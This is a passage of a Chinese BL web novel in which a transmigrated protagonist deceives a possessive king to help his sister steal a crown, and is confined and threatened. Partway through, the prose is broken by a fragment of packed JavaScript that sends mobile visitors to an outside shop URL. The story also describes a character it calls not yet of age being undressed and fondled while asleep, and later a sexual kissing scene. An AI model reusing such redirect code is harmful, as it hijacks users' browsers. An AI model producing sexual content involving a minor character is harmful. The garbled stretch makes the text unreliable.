康诺看着迟迟不走的凯尔,欲哭无泪,这人不会不走吧,不会要睡在他这里吧,不要啊。 凯·忽悠·尔打开了他的忽悠小技能。 “康诺,你不是一直很好奇我为什么把你抓回来却对你这么好的原因吗?” 康诺点点头,不免有些紧张,手心都开始冒汗了。 这个人终于要把他的秘密说出来了吗?说完了以后他就会被杀死了吗? “你是不是还好奇为什么你一醒过来就在医院?”凯·忽悠·尔继续诱导着康诺。 康诺乖巧的又点点头。 “我实话告诉你吧。” 康诺的心提到了嗓子眼。 “其实我是你丈夫。” 嗯?这画风不对呀,丈夫? 10. 第十章 康诺瞠目结舌,他简直不敢相信自己听到了什么,他不是要说他自己的身世与计划么,怎么变成了丈夫什么的。 他有点搞不懂凯尔了。 凯尔将康诺目瞪口呆的模样尽收眼底,面不改色心不跳的接着道:“那天我们之间产生了一些误会,我与你争吵,推搡之间你不小心摔下了楼梯,磕到了脑袋。” “那为什么我醒来的时候你不在?”康诺委屈巴巴的看着凯尔,实则内心的小激动就要按耐不住了,他好想知道这位凯·忽悠·尔将会怎么圆回去。 祁许:统哥,这家伙可太会造了。 “你从手术室出来,我本来是想要陪着你的,但是城堡发生了紧急情况,我不得不回来,当时你还昏迷着,等我回到医院的时候,医生说你已经走了。” 凯尔的大手攥住康诺的小手,包裹住。 “这么多天,我一直都在派人找你,从未放弃过,现在终于把你找到了。” 康诺暗暗感叹这人忽悠技术高超,然后做出被感动到了的表情,眼圈泛红,下一秒就溢出了眼泪。 “看你以后还跟不跟我吵架了。”小哭腔带着鼻音,听起来可爱极了。 凯尔见他相信了,心里一喜,面上却是不显,将康诺搂进怀中,细声安慰。 “不吵了,以后都顺着你,你说什么就是什么。” 康诺躺在凯尔的胸肌上乐呵呵的,笑得像个憨憨一样。 凯尔见康诺笑眯眯的,自己的心情也好了起来,他的心仿佛荡漾在春水里,又像迎着海风飞驰的帆船,畅快极了。 康诺成天也乖乖的听凯尔的话,什么能吃什么不能吃,哪里能去哪里不能去他都遵从。 就是晚上凯尔要跟他一起睡一张床上被他拒绝了,理由是他现在没有记忆,他会害羞,作为丈夫应该照顾他的情绪。 本来凯尔还有些失落,但是听到康诺亲口承认是丈夫时就被顺毛了。 最后退而求其次,不睡在一张床上,但是可以睡在他的寝宫里。 康诺只要没有人去打扰他睡觉就行了。 凯尔忽然发现这样的日子似乎也挺不错的,康诺没有记忆又如何,只要两人在一起就好了。 就是康诺身边的那个女孩挺碍眼的。 他对康诺说,女孩还小,不能成天待在寝宫里跟着他无所事事。 康诺也赞成,便让凯尔给她安排了事做,不大不小的职位便好。 大了惹别人不高兴,小了惹康诺不高兴。 最后安排了什么康诺倒是不在意,只要能尽可能多的熟悉城堡就行。 “哥哥。”玛利亚担忧的看着康诺,不放心他一个人跟凯尔相处。 凯尔那人看着就手段狠厉,不好相与,似乎一个不高兴就能把人给杀了。 “正好,你可以多熟悉一下城堡的事情。”康诺知道玛利亚是担心他,就先把任务给她安排好,那样玛利亚就不会再推脱咯。 这几天他跟玛利亚相处得也挺好的,仿佛并不是多年未见,而是一直从小一起长到大的亲兄妹一样。 玛利亚虽然还没有决定下来,到底要不要答应康诺,但是还是得熟悉一下的好,等她决定好了,答应的话她也了解了城堡,行动起来就更加方便,不愿意的话,那就当做长了见识吧。 玛利亚还是跟康诺住在一起,就睡在康诺旁边的那间卧房,以防康诺有什么事她还能有个照应,虽然她好像帮不了什么。 睡在康诺的寝宫里,凯尔就又多了些时间与他相处,恨不得每时每刻都跟他在一起腻歪。 不过这是不可能的,他每天必须要去大殿听那些人汇报时事政治,还要待在他的正殿里处理公务。 但是他可以按照往日的习惯照顾康诺。 早上,凯尔像往常一样在那个点来到康诺的卧房。 即使他失忆了,严格的作息时间还是得继续保持,也不知道他不在身边的那几天康诺都是几点钟起床的。 看着那人熟睡的睡颜,忍不住上前亲了亲光嫩的脸蛋,才喊他起床。 “唔,又起这么早。”康诺很是不满,之前住在小木屋的那几天,他天天能睡到自然醒,过得那叫一个满足,现在回到这里,他又要每天一大早在一个点被人喊醒了。 “嗯,起来吃早餐,免得胃疼。”凯尔亲昵的把搂进怀里,又亲了亲。 他那几天睡到自然醒了才吃早餐也不见得他胃疼了。 “嗯,不要。”康诺没有睡够,开始耍小性子。 “好,你再睡会儿,我给你穿衣服。”凯尔给他穿衣服已经习惯了,既然他困那便让他再眯一会吧。 康诺闭上眼睛,窝在他怀里,享受着这帝王般的待遇,惬意得不得了。 凯尔轻手轻脚的给他脱下衣服,香嫩白皙的玉肩露了出来,牛奶般的肌肤吹弹可破。 凯尔目光沉了一下。 不一会儿光溜溜的康诺就出现在了凯尔的眼前。 凯尔伸手抚了上去,手掌有些热,摩挲在他的白皙皮肤上,康诺不可抑制的颤抖了一下,不满的嘤唔一声,想要推开那只让他没法好好睡觉的手。 不想把康诺弄醒了,凯尔便收回手,慢慢拿过衣服,却不给他穿上,尽情享受眼前的视觉盛宴。 玛利亚起得很早,准备去工作,从康诺的卧房前经过,由于凯尔进去的时候没有关门,她下意识朝那里看了一眼。 不看不要紧,这一看她大为震撼,眼前这一幕让她的心都揪在了一起。 康诺光裸着身子被凯尔拥在怀里。 玛利亚鼻子一酸,她哥哥如此卧薪尝胆,忍辱负重,为了诺尔帝国和他的家人们,不惜出卖自己的身体,在强权之下被迫屈服。 玛利亚忍不住快步走出去,她一定要认真跟着那些人做事,尽快熟悉城堡,为她哥哥做事。 “你快点。”康诺撅着小嘴,嘟囔道。 “好好好。”凯尔顺从他,开始给他穿衣服。 “康诺,要不要出去玩?” 闻言,康诺终于舍得睁开眼,双眼迸发着星光,“去哪玩?” “你想去哪就去哪。”凯尔失笑。 康诺蹭的一下就从床上坐了起来,着急忙慌的下来。 这几天一直待在这里其实过得也挺舒服的,就是有点枯燥了,趁着这个时候能出去玩玩也是不错。 他任务完成之后就得离开这里了,这么美好的风景,这么帅气,身材这么好的男子陪着他,不要白不要,他得好好享受一下才行。 “慢点。”凯尔紧跟着他,保护他的安全,这兴冲冲的,别摔着了。 吃完凯尔为他准备的营养早餐,康诺就拉着那人出去了。 凯尔这人太过于聪明,他得多为玛利亚创造机会,把凯尔带出城堡,玛利亚就可以自由自在的在城堡里勘察情况了。 “你想去哪玩?”康诺活蹦乱跳的,凯尔就静静的跟在他身边。 “我们去逛街好不好?”逛街的话他就可以在路上看到好多小玩意儿了。 “好。”凯尔宠着他,当然会答应他。 一路上,康诺看看这个,摸摸那个,觉得稀奇的不得了,若是觉得饿了,就在路边买点小吃。 凯尔当然不允许他吃,他就撒娇卖萌装委屈,还真就让凯尔同意了,不过不能买多,买来他也就吃了几口,剩下要么被凯尔扔了,凯尔没抢过来的就被凯尔一口吃掉了。 康诺就会气呼呼的不理他,这个时候凯尔就会给他买别的东西,一会儿康诺就又开始兴高采烈的了。 如此一来,康诺和凯尔身上就挂满了小袋子,幸得出门的时候凯尔差了两个手下远远的跟着,这才不至于拿不下东西。 这一天下来,康诺虽然很累,但是玩得很尽兴,有钱又有人宠着的感觉真好。 因为是逛街,一整天都是走走停停,晚上回去之后康诺就嚷嚷脚痛,凯尔拿来精油任劳任怨的给他按摩。 康诺躺在床上享受着服务,舒服得眯起眼睛。 “舒服了吗?” 康诺点了点头。 凯尔边揉边说:“你在城堡的时候基本上不走路的,陡然之间走了一天,肯定是会受不了的,脚疼是应该的。” 闻言,康诺不高兴的踢了踢脚,却被凯尔握住,“我等会儿给你用热水泡泡脚,然后再按摩,会舒服很多。” 康诺这才满意,就在凯尔出去打洗脚水的时候,玛利亚找了过来。 “哥哥,我决定了,我答应你。” 康诺诧异,不晓得玛利亚怎么突然就想通了,他们两来这里有几天了,可能是因为凯尔?也可能是跟那些手下一起工作的时候被刺激到了? 不管如何,玛利亚答应了就是好事儿。 康诺点点头,“晚上再说。” 玛利亚也同意,她很清楚现在这个点,凯尔随时都有可能进来,确实不好谈话。 如是想着,凯尔就端着泡脚水进来了。 “康诺。” “我就先走了。”玛利亚不傻,看得出来凯尔不喜欢她经常待在康诺身边,以免惹得凯尔不高兴让康诺受苦,她在凯尔进来的时候就走了。 凯尔听到了刚刚玛利亚说那句话,不过不知道是什么意思。 回想起两人刚来这里的时候康诺对玛利亚无微不至的关心,他觉得两人关系肯定不一般,突然,他有了一个大胆的猜测,也是一个他不愿意接受的猜测。 玛利亚答应康诺…在一起吗? 这个想法冒出大脑的时候他给吓了一跳,不怕一万就怕万一,康诺只能是他的,别人休想染指。 他得赶紧想想办法,把康诺了玛利亚分开。 “凯尔,现在泡脚的话那之前抹的精油不是就浪费了?”康诺看着那盆水,突然想到了这个问题。 凯尔失笑:“不会浪费,已经吸收了。” “哦哦。”康诺这才又把□□给凯尔。 热水舒缓了康诺绷紧的神经,凯尔同时也在为他按摩小腿和脚底,让他的肌肉放松,防止乳酸堆积,那样他明天脚就不会痛了。 康诺仰躺在床上,就在凯尔尽心尽力给他的脚按摩的时候渐渐睡去。 凯尔做完了一切之后康诺还没有醒,他便给他换了睡衣,把他在床上放好,亲了亲那人的额头才离开。 其实凯尔一点也不想离开,不过若是第二天早上康诺醒来看见他在旁边估计要爆炸,所以他还是尽量顺着他。 玛利亚见康诺晚上没有去找她,她便也没去叨扰,她知道,康诺有时间的话一定会来,因为这件事很重要。 第二天凯尔给康诺穿好衣服就离开了,似乎是要处理什么急事,康诺也不在意,玛利亚也不在,他便一个人在寝宫里晃悠,反正寝宫里没有别人,他想干嘛就干嘛,自由自在。 凯尔确实有急事要处理,他把康诺带回来好生养着的事情除了他的亲信没有其他人知道,现在那些权臣也不知道从哪里知道了康诺没死的消息,个个嚷嚷着让他处置了这人。 今天一早就来了好几个老头子缠着他,都害得他不能好好跟康诺待在一起,不能看着康诺吃饭。 凯尔被他们吵得头疼,揉了揉太阳穴只说此时再议,没有给出明确的指示。 虽然之前因为他模棱两可,有些人擅自动手以后就被他给解决掉了,确实有人被震慑住了,消停了不少。 但不乏有不怕死的人。 他得保护好他的康诺,不能再让他陷入那样的危险之中了,他无法想象他如果再一次失去康诺他会怎么样,他不敢保证他到时候是不是会了结这个世界。 凯尔步履匆匆的回到康诺的寝宫,却在卧房没有看见他,他知晓康诺现在不会乱跑,所以没有看见那个身影时他便慌了神。 他大声喊着康诺的名字,他害怕那样的事件再次发生。 康诺腿又开始难受了就想回去,他不该出来的,好好躺在床上不好嘛,非得闲得慌出来走路,昨晚凯尔给他揉了那么久,好不容易舒服些了,这下估计白费了。 刚走到通往卧房的那条走廊就被凯尔给吓了一跳。 “干嘛呢,喊那么大声。”康诺轻拍胸脯,安抚那被吓得狂跳的小心脏。 凯尔三步并两步走到康诺面前,猩红的双眼暴露出了他的紧张,一把拉过康诺将他禁锢在怀里,生怕一个放松这个人就从他手中消失了。 “咳咳,干什么呀你!”康诺差点喘不过气来,他算是感受到了凯尔的神经质。 凯尔把康诺翻来覆去的看了好几遍,确认他什么事儿也没有之后开口道:“你去哪儿了?” “我就,在寝宫里走了走。”康诺现在的表情就像一个做错事了的小孩子,可把凯尔给心疼坏了。 “我不在的时候你怎么可以到处乱跑。”凯尔其实一点也不想责备康诺,但是一想到若是疏忽了,康诺又离开他了他就难受。 康诺委屈的撇嘴,“知道了。” 凯尔放轻语气,“抱歉,我不该凶你的。” 他得想一个对策才行,如果放任康诺一个人在寝宫里,那些人一定会趁他不在的时候偷袭,除非… 有了。 凯尔为了安抚康诺受伤的小心灵,陪他玩了一下午,只有自己在他身边的时候,他才是安全的,只有自己,才能保护他,让他不受伤害。 晚上,凯尔想要把康诺锁在屋子里,康诺发现了后就开始闹。 “康诺,你冷静一下,你听我说。” 康诺站住脚步,抬头睁着水汪汪的眼睛看着凯尔。 “我也不愿意把你关起来,我也很舍不得,但是你现在的处境很危险,我不在的时候就可能会有人来杀了你。 现在最安全就是你这间卧房,我把你锁在里面你就安全了。你不用担心你会无聊,我也不会饿着你的。我会给你很多很多东西,你想玩什么就玩什么,想吃什么就吃什么。 不过你的饮食你还是得注意一下,你不要暴饮暴食,垃圾食品你也少吃一点,你胃不好。” 听到自己不会无聊,康诺也就愿意了,足不出户就有的吃有的喝有的玩,困了就睡,睡醒了接着玩,也不会累着他,挺好的。 为了康诺的安全,凯尔给玛利亚安排了别的住处,让玛利亚不要靠近康诺,这样正好分开了他们两个。 康诺就这样被关在了屋子里面不能出来,凯尔一有空的时候就会过去陪他,好吃的好喝的喂他,各种各样的情话哄着他,小日子过得十分魇足。 有的时候康诺被他哄得高兴了还会同意自己跟他睡在一起,不过不能动手动脚的,凯尔也不会那么禽兽。 康诺还没有分化,还没有成年,他怎么可能会在这个时候下手。 凯尔就这么过了他人生中最幸福的几天。 虽然被这么伺候着真的很舒服,一度让他就想这么快活下去,但是是不可能的,他的主线任务还是得做的呀。 康诺享受了这么几天快活日子,这天系统终于忍不住了,开始催促他。 系统:这位爷,你能不能别享受了,赶紧做任务去吧你。 祁许:哎呀,我也想啊,这不是被看得紧,没有自由了么,我都不知道玛利亚在哪里。 系统咬牙切齿:你难道不会去找么。 祁许:我也想啊,但是我出不去啊。 吊儿郎当的模样十分欠打。 他话虽是那样说,但是每天享受的同时也在找机会出去找玛利亚,他可没有沉溺于美色无法自拔。 突然想起来凯尔今天早上抱着他腻歪的时候跟他说过今天事情比较多,不能陪他了。 康诺一拍脑门,这可是个逃出去的好机会呢。 抓紧时间填饱了肚子,就观察起了自己的卧房,正门肯定是不行的,已经被凯尔从外面给锁住了,他就是开锁技术再高明他也没办法从里面开,更何况他不会开锁。 环视了一圈后无果,卧房的窗户是很高的一排,靠近天花板,康诺压根儿就够不着。 卧房里就只剩下浴室了,他抬脚往浴室走去,本来不抱太大希望的他在看见了窗户后眼前一亮。 他以为浴室的窗户也会像卧室的一样装得很高防止有人偷窥,没想到浴室的窗子却很矮,不过扎心的是,比他要高。 康诺回到卧室搬来椅子踩在上面,这一下他的上半身就可以够着窗户了,他活动了一下窗子,打开是能打开,就是缝儿有点小,也不知道他能不能钻得出去。 得亏他的寝宫只有一层楼,不然他如果被锁在二楼的话,那得摔死去。 康诺双手按在窗沿上一个用力,然后抬起一只脚跪了上去,正想将整个身子都放上去的时候,却听到了一个熟悉的声音。 那个声音越来越大,证明那人离得也越来越近,糟糕,凯尔回来了。 康诺赶紧踩回椅子上,关上窗户,看见凯尔正在跟别人说着什么,他麻溜的把椅子放回原位,假装什么都没有发生过躺在床上玩魔方。 许久都没听见有开门的声音,康诺恍然大悟,刚才凯尔身边还有一个人,就算他想进来也不能进来呀,不然不就是让康诺陷入了危险之中了吗。 康诺又搬起椅子进了浴室,一回生,二回熟,这次轻而易举的翻了出去。 按照之前玛利亚跟他提过的几句工作环境,康诺猜测出了几个大概位置,在皇宫中鬼鬼祟祟的走着,碰到了人就赶紧闪到一边的大柱子那里躲着。 得亏了他的小身板,身材娇小,往柱子那里一站,根本就看不到他。 一路摸索,还真让他找到了玛利亚的所在地,还好他小时候贪玩,逛遍了城堡,每一个位置都记得清楚。 玛利亚也看到了他,几日不见,她哥好像…又水灵了许多。 偷偷摸摸的出来,拉着康诺走到无人的地方,问:“哥哥,你怎么出来的?凯尔不是把你给锁起来了吗?” “这个不重要。”康诺左顾右盼,生怕有人认出了他来。 “你之前不是说你答应了我吗,后来我们也没有机会好好商量制定计划,我是偷偷摸摸的翻窗户出来的,我带你去找父亲。” “父亲?”听到要见父亲,玛利亚还是紧张的,她不知道父亲是个怎样的人,会不会很严厉,像凯尔一样。 “对,他被凯尔关在了地牢里,地牢重兵把守,我们得多加小心,要谨慎。”康诺带着玛利亚尽量走偏僻人少的地方。 玛利亚还是很害怕,但是答应了的事情,她一定要做到。 走到地牢附近,远远的就看到全副武装,拿着武器的人迈着整齐划一的步伐在四周巡逻,一丝不苟,严肃得让人不寒而栗。 “这怎么进去呀?”玛利亚担忧的问。 “我自有办法。”康诺把玛利亚从头到脚都看了一遍,然后点点头。 玛利亚不明所以,被康诺牵着走,带到地牢的后面离地牢很远的地方,地牢是有后门的,这事儿只有罗伊和康诺知道,就是通道有点狭小,不过他们俩倒是可以过。 窜进一人高的杂草堆,挥挥上面的土,竟露出一个跟土颜色相近的一个方块,不仔细看还看不出来。 康诺打开那个方块,露出一个狭长的甬道,让玛利亚先进去,然后他在后面盖上小方块。 甬道黑漆漆的,伸手不见五指,玛利亚紧紧攥着康诺的手,手心的汗黏糊糊的,可以看出她有多紧张、多害怕了。 也不知道走了多久,走得玛利亚内心都快崩溃了终于看到了一丝丝微弱的光亮。 地牢下面看守的人反而少了,只有大门口出有一个人坐在那里,看起来好像还睡着了。 甬道到达的地方很隐蔽,康诺一眼就看到了罗伊,竟然被关在甬道不远处,离出口很远。 “爸爸。” 听到熟悉的声音,罗伊扭头,被关了这么多天,仍不失大将军的风范。 “我的小康诺,你怎么来了?”起初罗伊也以为康诺死了,现下看到他有意外也有欣慰,真不愧是他罗伊的儿子,就是聪明。 “爸爸,她是玛利亚,您的亲女儿。”时间紧急,康诺不能多说,直接切入正题,“爸爸,你知不知道王冠在哪里。” 只有拥有了王冠,他们才能命令民众。 “王冠可能在正殿的书房里,我不知道凯尔有没有换位置,他也有可能放在他睡觉的地方,那样对他来说比较安全。”罗伊陷入沉思。 白天凯尔会在正殿的书房处理公务,所以他有可能会放在那里,当然也有可能放在他睡觉的地方。 这两个地方他都得找一找。 尽管有很多话想对对方说,但是他们知道这不可能,最后相视而望,最后康诺离去。 康诺和玛利亚原路返回,玛利亚回去继续工作,好在并没有人发现她离开过。 康诺回到寝宫的时候还算早,此时还没有到午饭的饭点,既然凯尔今天比较忙,那么他现在应该还不会过来。 康诺跑到凯尔睡觉的房间,看看能不能寻找到王冠,一阵子翻箱倒柜之后啥也没看到。 只有几件衣服和他的洗漱用品,还有一些给他按摩用的精油。 把东西原封不动的放回原处,好似一切都没有发生过。 康诺按照原来的路线回到卧房,只是翻窗子的时候废了好大劲才进去,把椅子擦干净放回原位,躺在床上努力平复心情。 心情高度紧张,在放松下来后人就会格外疲惫,所以康诺躺在床上躺着躺着不知不觉就睡着了。 凯尔中午来陪康诺吃饭的时候就看到康诺呈大字型仰躺在床上睡得正香,嘴角还噙着淡淡的笑意。 上前将他喊醒,康诺眼睛睁开了一条缝,皱起眉头,嘟嘟嚷嚷的说:“干嘛,再睡会。” “小懒虫,今天回笼觉睡这么久啊。”凯尔捏了捏康诺的透红的脸蛋,宠溺的把人扶坐起来,然后把菜摆在桌上。 “没有,玩了一小会再睡的。”康诺揉了揉眼睛,眼圈被揉得泛红,眼角噙着刚醒来的泪水,像是个沾着露水的花骨朵,惹人怜惜。 “那看来不只是一小会儿了。”凯尔搓搓康诺的脸,彻底把他弄醒了。 康诺不满的下床,显然是没有睡够,有点起床气。 吃过午饭,凯尔跟他说要接着去忙了,康诺不乐意了,以前吃完饭都会陪她玩一会的,现在一吃完就走。 康诺撒泼耍赖缠着凯尔不让走,说是无聊。 凯尔摸摸他的脑袋,“那下午给玛利亚放个假让她过来陪你玩?” 屋子里给他准备的东西让他玩不了几天,依照康诺的性子,他早该腻了的,自己平时陪着他的时候他什么也没说。 今天不能陪着他了,也没有东西让他消遣时光,着实委屈了他。 凯尔即使再不愿他们俩个待在一起也不想委屈了他的宝贝康诺,让他不高兴。 “好是挺好的,但他终究是个女孩子,我们在一起能玩什么呢?” “凯尔,我想去正殿看看,你悄悄地带我们过去好不好。”康诺眨着布灵布灵的大眼睛,眸子里满是期许,如天真烂漫的孩童一般。 凯尔实在是不忍心拒绝,就答应了他,正殿康诺以前肯定去过很多次,早就腻了,不觉得稀奇,但是失忆之后的康诺没有。 他既然想,便由着他去吧。 让人去叫来了玛利亚,带着两人去了正殿,虽然将康诺暴露在了众人眼前,但有自己在,其他人不敢造次,只要不让别人知道康诺住在哪里就好了。 不然那些人就会趁自己不在的时候绑架他,甚至杀了他。 进了正殿,里面有许多稀奇古怪的小玩意儿,小小的巴掌大的瓷瓶,挂在墙上的抽象画,画在墙上的壁画,插在玻璃瓶里的花… 每一样康诺都觉得稀奇,什么都要凑近了摸一摸,凯尔看着康诺高兴了他也高兴了。 进了凯尔的房间,直直的被中间的床吸引住,垂涎的看着那张大床,他觉得如果在上面滚的话,估计怎么滚都不会掉下去。 突然,康诺回头对玛利亚说:“你先出去一下吧。” 书房和卧房并不挨着,他们两个待在卧房里,让玛利亚去书房找找有没有王冠。 玛利亚也很听话,丝毫不犹豫的离开了,她知道,康诺是想让他趁此机会去寻找王冠。 凯尔不解,“让她出去干什么?” 康诺不语,对他挑了挑眉,给了他一个飞吻,然后扑向身后的大床,在床上滚来滚去,把被子弄得乱糟糟的。 凯尔失笑,原来这人支开她,就是想毫无形象的倒在床上享受。 凯尔很满意康诺在自己面前能够放得开,便放任他在上面乱滚。 “凯尔,你这床好舒服呀。”康诺脸埋在被子里,声音嗡嗡嗡的,可爱极了。 “不都一样的嘛?”凯尔问。 “不一样,这个更大。”在康诺眼里,就是不一样的。 “原来你喜欢大床,那以后,我们俩就睡在这里?”凯尔在床边上坐下。 “等什么以后啊,就现在,现在就在这里睡。”康诺今天上衣穿的是衬衫,他起身解开上面几粒扣子,露出白皙的胸膛,用跪着的姿势走向凯尔。 伸出双手攀附上凯尔的脖子,缓缓把自己凑上前。 这个时候还不行动那不是男人了。 凯尔掐住康诺的腰,一把把他带进自己怀里,然后抱住他的脑袋,抵上他殷红的双唇。 唇唇相触,凯尔轻轻的触碰康诺的唇,如鸟啄般,复又用牙齿轻咬,轻轻的吸吮那两片柔软,舌伸进口中,让舌与舌互相推放。 一吻结束,康诺满脸通红,这家伙,也太会了些,技术也太好了吧。 康诺爬在凯尔的胸口轻轻喘气。 “还要吗?”两人的唇都变成了深红水润的,都有些肿了。 康诺嗔了凯尔一眼,忍着发痛的唇,完全解开上衣的扣子,奶白的肌肤暴露在空气中,香肩若隐若现。 凯尔搂着康诺的腰部,一点一点轻啄着他裸露在外的部位。 玛利亚往书房走去,刚刚来的时候,康诺已经悄悄给她指了书房的位置。 手心里冒着汗,额间也细汗密布,后背上的衣服估计也被汗湿,她轻手轻脚的走到凯尔的书房门口,向四周看了看,确保没有人她才进去。 她打量了一番书房,看看哪些地方可以放东西,桌面上除了文件和笔之类的就没什么了,连个水杯都没有。 打开个个抽屉和柜子,避免弄乱的情况下找王冠,有些地方确实需要翻动的话,她也竭尽所能的给恢复原样。 “谁在那里?”凯尔的一个手下进入正殿,看见凯尔的书房里有一个鬼鬼祟祟的身影,以为是小偷,就大喝一声。 玛利亚无处可躲,那个人已经进来了,凶神恶煞的质问她:“你是什么人?你刚刚在干什么?” 卧房里的两人自然听到了动静,凯尔打算起身,“我出去看看。” 康诺当然得拦住他,“可是我,那我怎么办,我这香糯糯的身子你不摸摸亲亲了吗?”说的委屈得不得了,好似被人抛弃了的小妇人。 凯尔耐心给他扣好衣服扣子,拿过被子盖住他的身体,“你在这里等我,我去看看就回来,盖好被子别着凉了。” 康诺怎么可能愿意,“我还是跟你一起去吧。”说着,嘴都撅起来了。 凯尔忍不住亲了亲,然后给他把鞋子穿好,扶他下床,这才带他出了卧房。 凯尔比康诺高很多,康诺的步子迈的很小,为了照顾康诺,凯尔跟他一起走的很慢。 卧房与书房的距离说远不远,说近也不近,一路上康诺的心跳都像打鼓一样。 凯尔闻声赶到书房,康诺跟在身后,焦急与担心都写在了脸上,害怕玛利亚受伤。 他以为凯尔既然要带他过来,肯定不会在城堡里留人,避免给他造成危险,所以他才决定自己拖住凯尔,让玛利亚去书房找王冠。 哪里料到会有人进来,而且玛利亚还会让人给看见啊,这下他估计是彻底玩完了。 凯尔问他的属下发生了什么,属下说:“我刚刚看到这个女人在你书房里鬼鬼祟祟的。” 康诺闻言心都寒了一截,赔着笑脸,“不可能吧,这里面应该是有什么误会,她可能只是看见里面什么东西好看,被吸引住了,所以想进去看看,毕竟,女孩子嘛。” 如果康诺说的这些凯尔和那个属下相信了的话,凯尔最多说说这个女人没有教养,让他远离便罢了。 玛利亚正想顺着康诺给的台阶下,正准备点头,哪知凯尔的属下接下来的一句话直接封死了他们的退路。 那人看了康诺一眼又接着说:“好像是在翻找什么东西。” 这下可就解释不清了,找东西肯定都是有目的性的,就看找的是什么了,所以玛利亚被安的这个罪名可大可小。 可是凯尔的书房里能让他们已知并且有目的的寻找的东西,众人心里都心知肚明的了。 凯尔阴沉着脸,他说为什么之前一直都在拒绝与他缠绵的人刚刚突然主动去诱惑他,原来在这里等着他呢。 凯尔这才反应过来,想要杀了玛利亚。 凯尔大步上前伸手卡住玛利亚的脖子,不一会玛利亚就开始感到呼吸困难,渐渐地觉得心里似乎被什么东西堵着喘不上来气,有极力想要咳嗽的趋势。 康诺看玛利亚马上就要不行了,情况紧急,只能斗着胆子上前,用尽他全身的力气把凯尔拉开,然后挡在玛利亚身前。 凯尔瞪着康诺,怒火中烧,他只杀了这个女人就已经算仁慈的了,这个人还敢挡到玛利亚面前来护着他,不怕自己连着他一块儿杀了吗? 康诺看着凯尔快要抑制不住要喷发的怒气,后背出了一层细汗,心脏乱跳,仿佛下一秒就能从嗓子眼跳出来。 但是他不能暴露了玛利亚的身份,他一定要护住玛利亚,保全她的性命,让玛利亚顺利地抢回诺尔帝国。 凯尔猩红着眼,看着康诺的眼神能吃了人,“让开。”压低了的声线不容人拒绝,却也极富有磁性,但是康诺现在无福享受。 “我不。”康诺坚持着最后的倔强,“我不能让你伤害她。” “为什么?”凯尔沉声质问,这个女人不过是他在外边认识的而已,总共相处才几天啊,就这么护着她。 康诺哑言,这咋就一下就被问住了,这让他怎么回答啊,总不能说他来到这里的任务就是保护玛利亚,让她顺利夺回诺尔帝国吧。 估计话还没说完命就没了。 凯尔继续说道:“你们不过是在外边认识的而已,才相处几天,你就确定你了解她的为人吗?还在这里护着她。 她就是个奴隶,你把她带来这里,她看着这些富丽堂皇的宫殿,享受了一把对她来说神仙一般的日子,见钱眼开不无可能,那样什么事做不出来。” 康诺“……” 祁许和系统觉得,凯尔这人,不去做编辑真是可惜了,肯定能赚不少钱,这想象力真是够丰富的,祁许现在觉得凯尔还是多说一些的好,给他拖拖时间让自己想想该怎么回答。 康诺:“你懂什么呀,她不是那样的人。”康诺极力争辩。 “你就这么笃信?”凯尔见不得康诺在他面前维护为了维护别人与自己作对,勃然大怒。 康诺依旧护在玛利亚前面,其实手都开始抖了,“当然,实话跟你说了吧,玛利亚是我的爱人。虽然我们认识的时间不长,对彼此的了解也不够透彻,但是在外边的时候玛利亚看我一个人,所以特别照顾我,会喂我喝水,时刻关注我的状态。 出院的时候因为我什么都不记得了,她就带我回了她的家,她是很穷,一个小木屋只有一间房,她会把她的床让给我睡,自己去打地铺,每天给我做饭。 她能对一个萍水相逢之人如此,足以证明她很善良,才不是你说的那种贪财的人。” “康诺!”凯尔难以置信,前一秒还在用自己的身体诱惑他的人,下一秒告诉自己他已经有了女朋友。 “总之,你不能伤害她。”康诺扬起下巴,“还有,我告诉你凯尔,我现在已经恢复了记忆,所以,你对我做的那这些事儿我已经全部都想起来了,包括关于我是怎么受伤,你又是如何成为国王的。我对你已经心灰意冷,失望透顶。” 系统:你好像用错词了。 祁许:哎呀,不管他,这么紧要的关头,谁会在乎这个。 系统:我呀。 祁许:哎呀你别打岔。 凯尔愣了神。 康诺打算趁此机会带玛利亚逃走。 不过恐怕要让康诺失望了。 凯尔并没有愣神多久,康诺牵着玛利亚的手刚开始动的时候凯尔就回过神来,两人吓得大气都不敢出。 凯尔阴沉着一张脸,一言不发,只是迅速唤来手下抓走了玛利亚。 康诺不死心,还想上前试图阻拦,结果当然不可能如他所愿。 凯尔眼疾手快的把康诺拽回来,用力抓住他的手,感觉到握在手心里的手缺了的一块地方,目光紧紧盯着康诺,眼眸深邃不见底,让人无法揣测他内心所想,无端生出一份不安来。 “嘿嘿。”康诺傻笑,试图掩饰尴尬的气氛,悄咪咪的想要抽回自己的手。 凯尔的力气本来就大,生气的时候力气就更大了,此时抓着康诺的手,不一会康诺就手麻了,估计是血液不流通了,不仅麻了,还挺疼的。 依照凯尔的性子,接下来还不知道要如何处置他呢,看是一刀了结他还是长时间的折磨他,不过有一点可以肯定的是,那就是他不会有好下场。 “康诺,你还有什么想说的吗?” “那个,我说,我什么都不知道你信吗?”康诺想摆脱责任。 祁许泪流满面:玛利亚都被他带走了,估计我也离死不远了,我再作一会吧。 系统:他会给你作的机会?35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17305252|198697||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 祁许:我觉得不会。 系统:这不就得了,死的时候忍着点,估计挺疼的。 祁许炸毛:什么叫估计挺疼的,那肯定会很疼的好不好。 凯尔讽刺的嗤笑道:“你觉得我会信吗?” “我是真的什么也不知道。”康诺举起双手,凯尔的手下早就已经带走了玛利亚,现在偌大个屋子里就只有康诺和凯尔两个人。 “你看看嗷,我是进了正殿来到了卧房之后才看见了你的大床,这才想要跟你一起睡上去的,所以我才让她走的,我总不能有未卜先知的能力呀,我才没那么厉害呢。 我要真那么厉害了,我还会搁这儿么。”康诺说得有鼻子有眼的,还挺像有那么回事儿的,让人差点就信了他的鬼话。 